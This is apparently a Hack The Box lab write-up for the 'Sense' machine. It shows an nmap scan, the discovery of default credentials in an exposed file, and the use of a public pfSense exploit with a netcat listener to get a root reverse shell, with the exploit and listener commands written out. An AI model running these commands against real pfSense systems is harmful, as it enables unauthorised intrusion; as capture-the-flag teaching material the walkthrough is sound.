



Sense

As always nmap is our first move

```
PORT      STATE SERVICE
80/tcp    open  http
443/tcp   open  https
```

Opening with a web browser port 80 or 443 we get redirected to this login form:



Enumerating a bit the website using tool such as wfuzz or dirsearch we can spot a file called "system-users.txt" who says:

```
username: Rohit  
password: company defaults
```

Now we know the credential: rohit:pfSense

Googling for some exploit for pfSense and one of the first results is this page

<https://www.exploit-db.com/exploits/43560>

Running it with this command and an opened listener we're able to obtain a root reverse-shell

```
Parrot Terminal
File Edit View Search Terminal Help
[grizzly@parrot]-[~/codice/attivo/hackTheBox/machine/Sense]
└─ $ ./exp.py --rhost 10.10.10.60 --lhost 10.10.14.10 --lport 42069 --username
rohit --password pfsense
CSRF token obtained
Running exploit...

Parrot Terminal
File Edit View Search Terminal Help
[grizzly@parrot]-[~/codice/attivo/hackTheBox/machine/Sense]
└─ $ nc -nvlp 42069
listening on [any] 42069 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.60] 53707
sh: can't access tty; job control turned off
# whoami
root
```

`./exp.py --rhost 10.10.10.60 --lhost <your ip> --lport <your port> --username rohit --password pfsense`